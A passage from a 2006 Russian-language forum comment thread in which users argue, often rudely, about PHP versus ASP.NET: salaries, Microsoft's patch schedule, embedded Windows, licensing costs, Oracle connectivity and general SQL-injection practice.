2 (от маркетинга): > Не берусь влезать в технические тонкости, что хуже или лучше, однако вот что пришло в голову: .NET программисты участвуют в крупных хорошо оплачиваемых проектах. Их заработок выше, в противовес использующих опенсорс. Для рядового php программиста из веб студии где-то в провинции это более убедительный довод перейти на VS, чем тех-подробности понятные узкому кругу профи. Но ведь это просто "пришло в глову" - это же не результат анализа статистики, каких-то наблюдений... Я, например, совершенно не наблюдаю спрос на .NET "где-то в провинции". Посмотрел сейчас список работ известной местной студии веб-дизайна, попадаются PHP, Perl, но не нашёл ASP.NET. Может, конечно, есть, но мне надоело искать :-) То есть по личным наблюдениям в провинции более востребованы разработчики на PHP/Perl.
	Alexander S. Kharitonov 12 Oct 2006 9:42 AM
2 chkalofff: > По поводу месяца. МС выпускает заплатки по расписанию и перешли на этот режим какраз по просьбе пользователей. т.е. раз в месяц через windowsupdate рассылаются хотфиксы разом ко всем продуктам. По просьбам трудящихся? :-) А то, что в результате в среднем две недели после обнаружения уязвимости виндовые машины будут ей подвержены, это их не волнует? А потом удивляются, почему хостинг с .NET мало распространён.
	Chkalofff 12 Oct 2006 11:00 AM
2 Alexander S. Kharitonov: >По просьбам трудящихся? :-) А то, что в результате в среднем >две недели после обнаружения уязвимости виндовые машины будут >ей подвержены, это их не волнует? А потом удивляются, почему >хостинг с .NET мало распространён. Просьбы копроративных трудащихся заключались в том, что если заплатки будут рассылаться на компьютеры с определенным периодом, а не хаотически, то работу админов в предприятиях гораздо проще планировать, и как результат снижение издержек. Когда MS считает что данная уязвимость требует немедленного выпуска патча, она выпускает внеочередной патч. Так например было в этом месяце с патчем к IE. Вообще вопрос целесообразности. Раньше MS выпускала патчи asap. Практика показала, что это хуже, чем выпускать патчи регламентированно. Так что там с ошибками PHP? Или вы борец с ветряными мельницами и вам важен сам факт, а действительное состояние дел вас мало интересует?
	xxx2 - nxxo5email.ua 12 Oct 2006 11:41 AM
--- NET - sux Xotя B Linux'e ectb noggep}i{ka Net, 6oльwoU nonyлярностью эта весч не пользуется ---
	dem 12 Oct 2006 11:59 AM
С PHP одна беда http://smishno.com/images/articles/20060920083941130_1.gif
	zenith 12 Oct 2006 12:18 PM
2 Chkalofff >Просьбы копроративных трудащихся заключались в том, что если заплатки будут > рассылаться на компьютеры с определенным периодом, а не хаотически, то > работу админов в предприятиях гораздо проще планировать, и как результат > снижение издержек. s/админов в предприятиях/программистов в микрософт/g
	Тютя Матютя 12 Oct 2006 12:51 PM
2 xxx2 Этим дермецом никто не пользуется.
	xxx2 - nxxo5email.ua 12 Oct 2006 12:55 PM
Да и NET -ом воо6ще-то еще никто не пользуется
	Linfan 12 Oct 2006 1:05 PM
Eugene: "Ребята, я пишу на PHP долго и матерюсь ровно столько сколько пишу. Пишу я серьезную коммерческую систему" Именно с этого и надо начинать - материть того, кто придумал писать систему на PHP. Вы че - Жабку ниасилили?
	Linfan 12 Oct 2006 1:11 PM
(от маркетинга): "А вот существенные, от 1300$ заработки программеров" Наглая брехня - уровень зарплаты зависит не от "крутизны или корммерсности" "езыга" программирования или IDE которым при этом пользуются, а от уровня профессионализма программиста и от проектов в которых он участвует. Можно получать 300$ педаля на .Net а через дорогу за обычный C будут давать 3000$. Как показывает практика - больше получает тот, чья работа больше походит на собственный бизнес, ну или спец в узком профиле (правда работы такие разовые).
	fi 12 Oct 2006 1:41 PM
> 300$ педаля на .Net а через дорогу за обычный C будут давать 3000$. Хороший спец по С всегда будет получать на порядок больше.
	dr-Wicked 12 Oct 2006 2:35 PM
Хороший спец по С у нас не актуально, а вот программеров бизнес-ориентированньіх язьіков наблюдается дефицит. Явление временное, но присутствует.
	Геморрой 12 Oct 2006 4:11 PM
Ндяяя. По порядку. . МС старье кинула. Вводя "усовершенствованные" технологии. Пример: DDE-OLE-OLE2-COM-COM+. Потом "завязала" и с ними, начав двигать .NET. Но и здесь 1.0-1.1-2.0 оказались частично несовместимы снизу вверх. Конечно, при наличии МСДН проблем нет, но гемор наличествует. . Начальник при ОБОСНОВАННОМ заявлении, что проект надо переделывать ничего не скажет. Особенно если представить план сохранения и переноса накопленной инфы. Помимо этого сфера ИТ не ограничена документооборотом. Так что не проецируйте свой личный куцый опыт бизнес-приложений на всю сферу ИТ. . В бесплатном фрэймворке нет ИДЕ. А без этого нонче программировать могут единицы. МС поправила положение, выпустив экспресс-редакции VS. И это хорошо. НО напомню, сие произошло недавно и под давлением того же пыха. (Вот, кстати, реальная польза от опенсорса). . Ссылки на проБиваемость гуглите сами. А я лично пользуюсь багфиксами от САН и МС. МС проходит тем же путем. Тем паче что под пробиваемостью я понимаю не взлом системы, а его последствия. Разнородную систему пробить существенно сложнее. .НЕТ является частью Винды как любой софт от МС, а Ява "натянута" сверху. В итоге положить Винду пробив НЕТ возможно, а вот при обломе Явы Винда не падает. Правда, только если ВМ от Сана. . На Винде нет решений: ПО спутников, боеголовок, управления технологическими установками с быстропротекающими процессами, технологическое оборудование с нормированным временем реакции, коммуникации реального времени, синхронный сбор матричных данных, медоборудование,.. В подобных системах Винда может присутствовать только в качестве консоли, пусть и навороченной. Но все остальное решается не только и не столько х86 процами (на них Винды нет по определению), но даже при использовании х86 там ставят отнюдь не Винду. ДОС (не от МС), ВиЕксВоркс, вылизанные версии Линукса (правда коммерческие), самопал всякий. Пизнесом ИТ не ограничено. . Стартующий на ПХП может нарыть полностью бесплатный комплект. Конечно, не VS, но все-таки. А на бесплатном НЕТе из комплекта прогать что-то из серии садо-мазо, особенно если вспомнить, что МС аккуратно подсадила на визуальную среду. Стартовая же VS Экспресс выпущена недавно. Для крупной работы ПХП все равно дешевле обойдется, посчитайте коммерческие варианты сами хотя бы на 5 чел. Другое дело, что в случае действительно крупного проекта это не та сумма чтобы жлобствовать. Ну и лицензии тоже не последнее дело. Лично наблюдал охренение проверяющих от Винды с натянутым интерфейсом от КДЕ. Обтекли и ушли. Второй раз проверяющие пришли со списком, на что должны быть лицензии. ПХП там не было, а вот МС был полностью. Так чта, нет в списке - свободен; есть и облажался - турма. . Насчет стабильности не надо. Раком периодически встают ЛЮБЫЕ системы. И ответственность МС примерно та же, что опенсорса - никакой. Так что о гарантиях и ответственности лучше молчать, они везде одинаковы. . Аргумент насчет зарплаты самый веский из прозвучавших. Но только вот много ли готовых платить эту зарплату? Особенно в провинции. Недавно просматривал вакансии, так количество вакансий на НЕТ в разы меньше, нежели на ПХП. Увидев реальные цены на софт и прогеров босс захлебывается от жадности и давится на месте. Тем паче, что востребованы достаточно несложные проекты. Не переваривает массовый рынок мегапрограмм, увы. А быстро и дешево - ПХП как раз. Дожать безопасность можно, доплатив. Дожать функционал тоже. Наворотить... а нафига? И так хорошо. Тем паче заработки прогов действительно зависят от цены решения задачи. Т. е. сколько готовы за это заплатить, а отнюдь не от крутости средства. Ну и ваяют на чем попроще, тем паче клиент не вкуривает сути да и запросы у него минимальны.
	Alexander S. Kharitonov 12 Oct 2006 4:52 PM
2 Chkalofff: > Просьбы копроративных трудащихся заключались в том, что если заплатки будут рассылаться на компьютеры с определенным периодом, а не хаотически, то работу админов в предприятиях гораздо проще планировать, и как результат снижение издержек. Классно звучит. "Гораздо проще планировать" - а что планировать? Среднее время уязвимости системы? Количество взломов за отчётный период? Потери из-за простоев? :-)
	Chkalofff 12 Oct 2006 5:03 PM
2 Alexander S. Kharitonov: >"Гораздо проще планировать" - а что планировать? Мероприятия по накату апдейтов в предприятии. У меня скажем 10 серверов и на них стоят резличные сервисы. Winodws, IIS, MSSQL, WindowsMedia и т.д. Апдейты выходят каждый второй вторник месяца (у нас в россии среда). Зная это, IT, отдел планирует деятельность по накатыванию апудейтав на это время. А не занимается каждый апдейтом по чуть чуть в течении всего месяца.
	Chkalofff 12 Oct 2006 5:06 PM
2 Alexander S. Kharitonov: >"Гораздо проще планировать" - а что планировать? Мероприятия по накату апдейтов в предприятии. У меня скажем 10 серверов и на них стоят резличные сервисы. Winodws, IIS, MSSQL, WindowsMedia и т.д. Апдейты выходят каждый второй вторник месяца (у нас в россии среда). Зная это, IT, отдел планирует деятельность по накатыванию апудейтав на это время. А не занимается каждый апдейтом по чуть чуть в течении всего месяца.
	Chkalofff 12 Oct 2006 5:19 PM
2 Геморрой: >МС старье кинула. Вводя "усовершенствованные" технологии. >Пример: DDE-OLE-OLE2-COM-COM+. Что значит кинула? В висте перестананет работать OLE? Или вы больше не можете разрабатывать под него? >В бесплатном фрэймворке нет ИДЕ. http://msdn.microsoft.com/vstudio/express/default.aspx >На Винде нет решений: ПО спутников, боеголовок, управления >технологическими установками с быстропротекающими процессами, >технологическое оборудование с нормированным временем реакции, >коммуникации реального времени, синхронный сбор матричных >данных, медоборудование,.. 1) Во первых, не уверен что во всех областях, что вы привели есть решения на линуксе. 2) Тот список, что вы привели не соотвествует действительности, поскольку для части из этих областей точно есть решения на базе Windows. Поэтому позравляю, господин соврамши!!! Да, ссылки сами вы СПОСОБНЫ найти, или вам их на тарелочке принести? >Но все остальное решается не только и не столько х86 процами 3) Начнем с того, что винда работает не только на х86 процах, и дофига систем где она работает на других процах.
	Desperado 12 Oct 2006 6:12 PM
>На Винде нет решений: ПО спутников, боеголовок, управления >технологическими установками с быстропротекающими процессами, >технологическое оборудование с нормированным временем реакции, >коммуникации реального времени, синхронный сбор матричных >данных, медоборудование,.. ну как же все есть - помнится по всем сми прошла история про амовский авианосец где зависла винда и авианосец чуть не потонул, его пришлось буксировать на ближайшую базу.
	Alexander S. Kharitonov 12 Oct 2006 7:19 PM
2 Chkalofff: > Мероприятия по накату апдейтов в предприятии. У меня скажем 10 серверов и на них стоят резличные сервисы. Winodws, IIS, MSSQL, WindowsMedia и т.д. Апдейты выходят каждый второй вторник месяца (у нас в россии среда). Зная это, IT, отдел планирует деятельность по накатыванию апудейтав на это время. А не занимается каждый апдейтом по чуть чуть в течении всего месяца. Ну а взломают - так взломают? :-)
	Linfan 12 Oct 2006 7:19 PM
Chkalofff: Догадайся, насколько долго накатывать апдейт на линуксячий сервак, если дистр официально саппортится? ;) И сколько раз надо перегрузить системы?
	Alexander S. Kharitonov 12 Oct 2006 7:24 PM
2 (от маркетинга): > По поводу популярности perl - вот статистика яндекса. Кстати, когда ты искал на Яндексе по ключевому слову "perl", не обратил внимание, что внизу страницы есть объявление: Яндекс приглашает на работу Требуется разработчик баннерной системы (Perl/MySQL) На ряд других языков он так не реагирует :-)
	Admin 12 Oct 2006 7:28 PM
Сначала выпустите OpenASP for Linux, а потом я выслушаю ваш бред.
	anonymous 12 Oct 2006 8:46 PM
афтар тупой асёл!!
	M&M's 12 Oct 2006 10:54 PM
Надо сказать, компания Атилект - редкостные сволочи. Это так, из опыта общения с ними.
	OlegS 12 Oct 2006 11:27 PM
Статья на редкость некомпетентного человека. Суть статьи сводится к следующему: "если у вас в доме завелись тараканы - срочно сносите дом и стройте новый!". Мы используем и Java, и PHP, и .NET. Каждой работе свой инструмент. Что касается PHP-сценариев и приложений .NET - у них совершенно разные применения. Ни одна из этих технологий не исключает другую. напротив, они неплохо дополняют друг друга. К слову, уязвимостями они тоже могут друг с другом потягаться;)
	йа забыл падписацца, асёл 13 Oct 2006 12:47 AM
какой бальной чилавег мой напесать такуйу статью?
	Yury (от маркетинга) 13 Oct 2006 2:15 AM
2 Alexander S. Kharitonov & Linfan В разделе "карьера" у Luxoft нет вакансий php. Может все дело в знаниях по ООП, OOA/D, UML? Еще один момент связан с тем, что в регионах веб-студии зарабатывают деньги не на программировании как таковом, а на баннерах и "поддержке". Т.е квалификация разработчика особого значения не имеет, люди легко взаимозаменяемы. Что разработчика-то по идее устраивать не должно, особенно если все проекты не особо сложные.
	Alexander S. Kharitonov 13 Oct 2006 10:53 AM
2 Yury (от маркетинга): > Еще один момент связан с тем, что в регионах веб-студии зарабатывают деньги не на программировании как таковом, а на баннерах и "поддержке". Т.е квалификация разработчика особого значения не имеет Это пренебрежительный взгляд жителя столицы на отсталых провинциалов?
	Zzz... 13 Oct 2006 10:59 AM
Chkalofff: Догадайся, насколько долго накатывать апдейт на линуксячий сервак, если дистр официально саппортится? ;) И сколько раз надо перегрузить системы? ---- Судя по количеству патчей, изготовляемых официальными дистрибутивами, их нужно апдейть перманентно (т.е. дистрибутив линукс работает сам на себя) :)
	Chkalofff 13 Oct 2006 11:06 AM
2 Alexander S. Kharitonov: >Ну а взломают - так взломают? :-) После ввода такой системы распростнанения в действия, ни то чтобы было увеличение взломов. Собственно небыло ни 1 значительной эпидемии взломов с тех пор. Все этипедии там с уязвимостями IIS и MSSQL были до того, как MS начал регламентированно ценрализованно рассылать апдейты. Еще вопросы есть? :)
	Chkalofff 13 Oct 2006 11:10 AM
2 Zzz...: +1
	Добрый - igor1073meta.ua 13 Oct 2006 11:12 AM
Афтар мудак, сравнил язык с платформой.
	Zzz... 13 Oct 2006 1:19 PM
http://blogs.zdnet.com/Bott/?p=156 Одноразовые Vista. Чем дальше в лес, тем больше у МС сносит крышу. Ретаил и так была не дешевой - ее покупали, чтобы не иметь ограничений, накладываемых на ОЕМ. А с инсталляцией "только дважды" - она такая не нужна...
	tstone - saldomail.ru 13 Oct 2006 1:59 PM
> 3) Начнем с того, что винда работает не только на х86 процах, и > дофига систем где она работает на других процах. Нюка, нюка. Отсюда можна помеедлееннее... На каких процах еще ХП работает? (не х86 и с ним совеместимое)
	Desperado 13 Oct 2006 2:25 PM
2tstone смотря какя винда - обычная еще только на ia64 запускается , а еще есть всякие winCE, Xbox (на power проце) и т.п.
	none 13 Oct 2006 2:52 PM
объединение разных Виндов, лишь по названию, в класс отдельной ОС - неблагодарное занятие... У веток/клонов BSD есть определённая приемственность У Линуха тоже... а вот что общего у ОС для Х-бокс(к примеру)от МС ;), ВинЦЕ (или обобщённой - вин мобайл 5) платформы, ветки 2000-2003..., кроме названия (и прочей МС атрибутики) - я затруднюсь определить ;)
	Геморрой 13 Oct 2006 2:57 PM
Ндяяя, г-н Чкалов. Облажались как раз Вы. 1. Все технологии продолжат работать и писать под них тоже можно. Но дальше они НЕ РАЗВИВАЮТСЯ. И баги НЕ правятся. Т. е. что есть, то есть. И качество работы в последующем НЕ гарантировано. Может начать глючить/тормозить. В частности ДДЕ начало работать через ж... (не алгоритмически, а со случайными задержками) с 98SE. И ссылками при наличии ЛИЧНОГО траха можно доказывать противное до полного усера, не поверю. 2. VS Express НЕ ВХОДИТ в фрэймворк. И появилась недавно. Я, кстати, об этом упоминал. Игнорируем неудобные факты? 3. Линуксячьи решения действительно не везде. Но идет активная миграция с того же ВиЭксВоркса. В силу запредельной цены последнего. Решений же НА ВИНДОВС там нет, спиздели как раз ВЫ. Виндовс используется КАК ОКОНЕЧНОЕ УСТРОЙСТВО. В медоборудовании вообще ДОС рулит. А БОЕВЫЕ инфосистемы функционируют отнюдь не на Винде. Попытки виндузировать армию либо проваливались, либо Вин оставалась системой общего назначения, типа шлюза в интернет для личного состава да учета шматья каптерщиком. И об этом я тоже упоминал. Опять шоры напялили? 4.И опять в лужу. Вин идет ТОЛЬКО на x86/64. То, что на АРМах только называется "Виндовс". Торговая марка, так сказать. А нутро у нее весьма отличается, вплоть до полной непохожести. АПИ еще туда-сюда совпадает немного. А на ППЦ стоит клон ВинЦЕ. . Так что слив засчитан. Не в теме Вы. Кстати, у меня подработка аккурат по измерительным системам, а до этого занимался военкой и медициной. И на собственном опыте убедился, что диапазон применения Винды - некритичные информационные системы общего назначения. Отдам должное, Линукс "как есть" еще хуже.
	Игорь К. 13 Oct 2006 3:07 PM
2Добрый Точно! PHP - язык, .Net - платформа. Это был подкол для всех. Нас поймали!!! Это розыгрыш!
	Chkalofff 13 Oct 2006 5:23 PM
2 tstone: >Нюка, нюка. Отсюда можна помеедлееннее... >На каких процах еще ХП работает? (не х86 и с ним совеместимое) Desperado уже ответил. тут Геморрой утверждал, что в винде нет "коммуникаций реального времени", а для этих задачь, как раз применяется Windows CE, которая зачастую работает на ARM. В специализированных системах свои законы. Расширяйте кругозор, не надо циклиться только на XP.
	Chkalofff 13 Oct 2006 5:52 PM
Геморрой: >Ндяяя, г-н Чкалов. Облажались как раз Вы. Это у вас аутотрененг такой? :) Самовнушением занимаетесь! :-) >2. VS Express НЕ ВХОДИТ в фрэймворк. И появилась недавно. Я, >кстати, об этом упоминал. Игнорируем неудобные факты? Ну и что, что не входит. Вообще какой-то не аргумент. Продукт есть? да доступен? да бесплатен? да писать на нем реально можно без геммороя (простите за каламбур)? да Все, в сад! В поставку PHP вон тоже MySQL не входит, его надо же отдельно качать надо, а он практически для каждого сайта нужен. Вообще какой-то детский лепет! >Линуксячьи решения действительно не везде. Но идет активная >миграция с того же ВиЭксВоркса. Решений же НА ВИНДОВС там нет, >спиздели как раз ВЫ. Виндовс используется КАК ОКОНЕЧНОЕ >УСТРОЙСТВО. Цифровые камеры, принтеры и сканеры, различные POS, бензоколонки, игровые приставки, сетевые устройства, VoIP телефоны, медицинские устройства, IPTV-декодеры. Этого мало? У вас был шанс посмотреть в интернете что MS предлагает в области Embedded решений и Real Time OS. Вы не только показали, что НЕ обладаете знаниями в этой области, но еще показали, что НЕ хотите или НЕ умете пользоваться поиском в Imternet, и ДЕЛАЕТЕ безапеляционные заявления, не разбираясь в сути вопроса.
	fi 13 Oct 2006 7:09 PM
> Windows CE, которая зачастую работает на ARM Да враки это все, вот только сегодня пробывал использовать свой pda как диктофон, и то не справился :(((
	xacid 13 Oct 2006 7:36 PM
> 11 октября, 2006, 23:55 - Eugene Ребята, я пишу на PHP долго и матерюсь ровно столько сколько пишу. Пишу я серьезную коммерческую систему и продается она по 20000 дол за инсталяцию в несколькихс странах. а вы операционную систему на пыхпыхе еще писать не пробывали? а вы попробуйте) расскажите о ценном опыте..))
	Отто ФонШвайнен 13 Oct 2006 9:31 PM
Ну, что-то Вы господа любезные, совсем зашпуняли Нашего Дорогого Автора статьи. Так Вам никто тут статьи писать не будет. Несут Вам Крест животворящий, а Вы миссионеров встречаете помоями и анафемами. К чести Автора - присутсвие его постов в комментариях к статье. Не многие могли бы что-то ответить прочитав о "теплом" приеме. Переходя же к статье ... Очень жаль, что там отсутствует такая часть, как примерная стоимость владения проектами на .NET в разных категориях. Может и не все так плохо... Я люблю php, но понимаю, что это средство( как и все другие) хорошо применять в решениях, под которые он создавался. В частности производительность функций php для работы с БД mysql при высокой интенсивности огорчает. По сравнению с Perl-овскими функциями: очень медленно. А вот с .NET я не имел дела совсем. Просто для моего сегмента работ, использование .NET с MS Windows - это копание лунок для гольфа с помощью шагового карьерного экскаватора - громоздко, тяжело и что самое главное - фантастически дорого. Я думаю , что вряд ли .NET идеальное решение для ВСЕГО. Есть задачи которые эффективны и на php и это не только исключительно домашние страницы пользователей.
	Отто ФонШвайнен 13 Oct 2006 9:45 PM
И все же мне сложно согласиться, что sql инъекции - болезнь исключительно php, а у решений на .NET от нее врожденный иммунитет. http://msdn.microsoft.com/msdnmag/issues/04/09/SQLInjection / Там тоже, как и у Виктора. С примерами. Подозреваю, что ни php .NET ни .SUPERNET не решат таких проблем. Их может решить только тщательное программирование, отладка и тестирование.
	Yury (маркетинг) 13 Oct 2006 9:58 PM
2 Alexander S. Kharitonov Увы, уважаемый Александр, к сожалению, если проект небольшой, работа сводится к настройке уже готовых известных движков. А если предлагается "управляемый сайт за 190$", то добавочная стоимость заложена именно в поддержку. Возвращаясь к популярности php, тут примечательно, что помимо квалификации специалиста, его стоимость на рынке труда весомо зависит и от общего к-а данных специалистов. Особенно для несложных работ. Как-то я видел объявление для .NET +MSsql- работа в небольшом филиале среднего банка в райцентре за 10-15тр. С обучением под конкретную задачу. Через несколько лет, например, это или переезд в Москву или аутсорс-компания. Дальше - возможно аналитик или эмиграция. Что до бэкграунда человека с php - далеко не все ясно. Если это не банк и не аутсорс и заграница, то что это, cтудия Лебедева? В чистом виде веб-студии, это редко бывает. Обычно еще полиграфия, баннеры, рисование в придачу. К программированию это отношения не имеет.
	Linfan 14 Oct 2006 2:49 AM
2Yury (маркетинг): "в райцентре за 10-15тр" Если не ошибаюсь с курсом, то это в районе 400$... Это очень скромное вознаграждение за тот объем работы, который взвалят в банке на прогера. Кстати, фраза "переезд в Москву" лишний раз свидетельствует о том, что в глубинке дорогостоящие МС технологии не по карману работодателям. ПХПшники кстати и в Москве нужны и в аутсорсинге. Но реально, чтобы повысить свою заплату, программер должен повышать свою квалификацию и не останавливатся на ПХП.
	Linfan 14 Oct 2006 2:56 AM
Chkalofff:"В поставку PHP вон тоже MySQL не входит" Матчасть батенька, матчасть... AMP входит во ВСЕ серьезные дистры Линуха. Как говорится, "из коробки".
	chkalofff 14 Oct 2006 10:48 AM
2 fi: >> Windows CE, которая зачастую работает на ARM >Да враки это все, вот только сегодня пробывал использовать свой >pda как диктофон, и то не справился :((( Вот надо же, а у меня получилось. и записывает и воспроизводит. софт только правельный подобрать надо. Да и в IPTV-декодере ни то что звук, а видео да хай-дефинишн, да в реальном времени дешифрует и декодирует, да еще несколько потоков типа картинка в картинке, а тут вот со звуком не справился, надо же!!! Вот если бы я написал что под линксом не спраивлся с записью звука и запостил это на LOR, чтобы я получил в отчет? то-то же!
	chkalofff 14 Oct 2006 11:07 AM
2 Отто ФонШвайнен: >Просто для моего сегмента работ, использование .NET с MS >Windows - это копание лунок для гольфа с помощью шагового >карьерного экскаватора - громоздко, тяжело и что самое главное - >фантастически дорого. 1) Согласитесь, что инструмент с большими возможностями не всегда будет громоздким. Я не вижу причин, по которым вещи которые можно сделать на PHP легко будет сложно сделать на ASP.NET. Если вы знаете такие примеры, то приведите. 2) По поводу стоимости. Как мы уже разобрались, ASP.NET бесплатен, к нему есть бесплатная вполне нормальная IDE от Microsoft. Есть бесплатные БД. Нет только бесплатного Windows. Именно это стоимость лицензии Windows соотвествующей редакции вы понимаете под выражением "фантастически дорого"? >И все же мне сложно согласиться, что sql инъекции - болезнь >исключительно php, а у решений на .NET от нее врожденный >иммунитет. >http://msdn.microsoft.com/msdnmag/issues/04/09/SQLInjectio n/ Тут понимаете вопрос в чем. В .Net при работе с данными те переметры которые вы хотите передать бд или получить оформляются через специальные конструкции команд и параметров. Во всех примераз где мс показывает работу с данными именно так и делается. И это не подвердено сиквул-инъекции. Но часть программистов которые имеют опыт написания на других языках, в частности на PHP, по старинке формируют SQL-выражение спомощью конкотинации. Ну не сделаешь ничего с их мозгом, привыкли они так. Так вот по той ссылке, которую вы прислали, MS как раз очередной раз пытается объяснить как делать не надо.
	chkalofff 14 Oct 2006 11:13 AM
2 Linfan: >Chkalofff:"В поставку PHP вон тоже MySQL не входит" >Матчасть батенька, матчасть... AMP входит во ВСЕ серьезные >дистры Линуха. Как говорится, "из коробки". У вас какое-то не системной мышление. Еще раз, не надо путать теплое с мягким. Мы говорим про PHP. PHP <> Linux. PHP есть и под Windows. И MySQL есть под Windows. Товарищь спросил сколько весит дистриутив .NET в сравнении с дистрибутивом PHP. От этого и пляшем. Linux здесь не причем.
	Alexander S. Kharitonov 14 Oct 2006 1:40 PM
2 chkalofff: > 1) Согласитесь, что инструмент с большими возможностями не всегда будет громоздким. Я не вижу причин, по которым вещи которые можно сделать на PHP легко будет сложно сделать на ASP.NET. Если вы знаете такие примеры, то приведите. Так это - словарь :-)
	Desperado 14 Oct 2006 3:32 PM
>Я не вижу причин, по которым вещи которые можно сделать на PHP легко будет сложно сделать на ASP.NET. задачи типа yahoo, google: если в таких задачах юзать asp.net контролы весь инет загнется от трафика. если брать не спецефические задачи, то php+oracle во многих сферах уделает .net просто потому, что пхп лучший для ручного рисования хтмлных форм, а pl/sql лучший для реализации бизнес логики в субд. элементарно передать масив в субд, чтоб его можно было использовать в sql подзапросе в мс выльется к туче лишнего кода.
	dr-Wicked 14 Oct 2006 3:41 PM
2Desperado Бред
	Отто ФонШвайнен 14 Oct 2006 9:52 PM
2) По поводу стоимости. Как мы уже разобрались, ASP.NET бесплатен, Именно это стоимость лицензии Windows соотвествующей редакции вы понимаете под выражением "фантастически дорого"? -Да . Стоимость MS Windows Server + MSSQL. Не везде процветает транжирство как в толстопузой москве ,знаете ли. Но часть программистов которые имеют опыт написания на других языках, в частности на PHP, по старинке формируют SQL-выражение спомощью конкотинации. - Что и требовалось подтвердить: Безопасное програмирование никто не отменял и слово .NET не означает НЭТ проблем с инъекциями в принципе. Все упирается опять в разработчика.
	Linfan 15 Oct 2006 12:41 AM
chkalofff: "PHP есть и под Windows. И MySQL есть под Windows." Того, кто будет мостится с таким хостингом, назвать иначе как "идиот" ну просто нельзя. Это все-равно, что купить движок от ауди и влепить его в горбатый запор. Я (по рабочей необходимости) как-то попытался потестить связку Win+Apache+PHP - оно конечно даже запускается, но выглядит уродцем. Вас же не призывают рассуждать про размер дистра .Net на примере Mono? Так что попрошу не отрывать инструмент от платформы.
	Иван 15 Oct 2006 1:00 AM
Статься не аналитическа, просто реклама. Че тут обсуждать вообще.
	chkalofff 15 Oct 2006 3:27 AM
2 Desperado: >Я не вижу причин, по которым вещи которые можно сделать на PHP легко будет сложно сделать на ASP.NET. >задачи типа yahoo, google: если в таких задачах юзать asp.net >контролы весь инет загнется от трафика. 1) не вижу связи между котролами и трафиком. Между viewstate и трафиком вижу, а между котролами и трафиком - нет. Попытайтесь объяснить. 2) никто не заставляет использовать контролы. >если брать не спецефические задачи, то php+oracle во многих >сферах уделает .net просто потому, что пхп лучший для ручного >рисования хтмлных форм Голословно. Пример, такой формы. >pl/sql лучший для реализации бизнес логики в субд. >элементарно передать масив в субд, чтоб его можно было >использовать в sql подзапросе в мс выльется к туче лишнего >кода. А почему вы вдруг на PL/SQL перешди? Вообще-то разговор был об PHP+MySQL. Вот юлить не надо, ладно? Не надо менять правила по ходу. Когда вам выгодно по цене, начинают говорить про линукс и MySQL, как только речь зашла о возможностях, то сразу Oracle приплели. Только вот почему-то ASP.NET вышужнен с MSSQL работать, как будто он не может работать с Oracle. Давайте всетаки корректными быть в сравнении.
	chkalofff 15 Oct 2006 3:48 AM
Отто ФонШвайнен: >-Да . Стоимость MS Windows Server + MSSQL. Не везде процветает >транжирство как в толстопузой москве ,знаете ли. Ну во-первых ASP.NET умеет работать не только с MSSQL. Во-вторых. Сходите уже сюда: http://www.microsoft.com/sql/editions/express/default.mspx. Таким образом ваши запредельные цены - это $400 за W2003 Server Web Edition или $1000 за Standard Edition? Правильно?
	chkalofff 15 Oct 2006 4:04 AM
Linfan: >Того, кто будет мостится с таким хостингом, назвать иначе >как "идиот" ну просто нельзя. http://www.google.ru/search?hl=ru&q=windows+php+hosting&lr= Идите и убедите в этом всех этих хостеров, а то они наверное глупые не знают еще об этом. >Это все-равно, что купить движок от ауди и влепить его в >горбатый запор. Я (по рабочей необходимости) как-то попытался >потестить связку Win+Apache+PHP - оно конечно даже запускается, >но выглядит уродцем. С руками проблемы?
	Desperado 15 Oct 2006 2:03 PM
>1) не вижу связи между котролами и трафиком. Между viewstate и трафиком вижу, а между котролами и трафиком - нет. Попытайтесь объяснить. посмотрите какой хтмл генерят эти контролы. >2) никто не заставляет использовать контролы. подозреваю тогда у него мало шансов противостоять нетиризированому пхп, с его тучей функций. >А почему вы вдруг на PL/SQL перешди? Вообще-то разговор был об PHP+MySQL невижу чтоб речь была о mysql, тут сравнивают пхп с asp.net >Только вот почему-то ASP.NET вышужнен с MSSQL работать, как будто он не может работать с Oracle. нет не может .net по человечески работать с ораклом, этот ODP (родной ADO к ораклу вообше неработоспособен) тормозит и не поодерживает добрую часть функционала OCI, пхп же юзает прямые вызовы OCI без всяких прослоек.
	qwer 15 Oct 2006 9:15 PM
>>1) не вижу связи между котролами и трафиком. Между viewstate и >>трафиком вижу, а между котролами и трафиком - нет. Попытайтесь >>объяснить. >посмотрите какой хтмл генерят эти контролы. хтмл фигня по сравнению с картинками. >>2) никто не заставляет использовать контролы. >подозреваю тогда у него мало шансов противостоять >нетиризированому пхп, с его тучей функций. Вы подозреваете или знаете? Какие функции есть в пхп, аналогов которым нет в асп.нет? И чем лучше нетипизированность, чем строгая типизированность, чем возможность наплодить трудноотлавливаемых ошибок? >>А почему вы вдруг на PL/SQL перешди? Вообще-то разговор был об >>PHP+MySQL >невижу чтоб речь была о mysql, тут сравнивают пхп с asp.net А что, асп.нет + оракл уже запрещено использовать? >>Только вот почему-то ASP.NET вышужнен с MSSQL работать, как >>будто он не может работать с Oracle. >нет не может .net по человечески работать с ораклом, этот ODP >(родной ADO к ораклу вообше неработоспособен) тормозит и не >поодерживает добрую часть функционала OCI, пхп же юзает прямые >вызовы OCI без всяких прослоек. Можно использовать родной оракловский провайдер, какие проблемы?
	chkalofff 15 Oct 2006 9:55 PM
2 Desperado: >посмотрите какой хтмл генерят эти контролы. Какой в них заложен такой и генерят с точностью до HTML-тега. Вы хоть пользовательские контролы от серверных отличаете? >подозреваю тогда у него мало шансов противостоять >нетиризированому пхп, с его тучей функций. Каких таких функций? Я сразу задал вопрос, чего нет ASP.NET, вместо того, чтобы сказать что вот этой возможности нет, этой возможности нет, вы стали наезжать на контролы не разобравшись что они из себя представляют. >невижу чтоб речь была о mysql, тут сравнивают пхп с asp.net Ну дак PHP к Oracle имеет ровно такое же отношение, как и ASP.NET. Давайте тогда сравнивать PHP+MySQL против ASP.NET+Orcale? У вас с логикой то все впорядке? >нет не может .net по человечески работать с ораклом, этот ODP >(родной ADO к ораклу вообше неработоспособен) тормозит и не >поодерживает добрую часть функционала OCI, пхп же юзает прямые >вызовы OCI без всяких прослоек. Вот ведь какие проблемы! Только похоже Orcale про них не знает и про праслойки не знает, потому что пишет "Among the three data access methods, ODP.NET is the most native to the .NET environment, bypassing the need for OLE DB or ODBC." И про скорость видимо не знает и про функциональность тоже, потому что пишет "It features high performance access to the Oracle database, while providing access to advanced Oracle functionality not available through OLE DB .NET and ODBC .NET." И про соединение провайдера к Ораклу они в каждом втором предложении используют слово native. Наверное 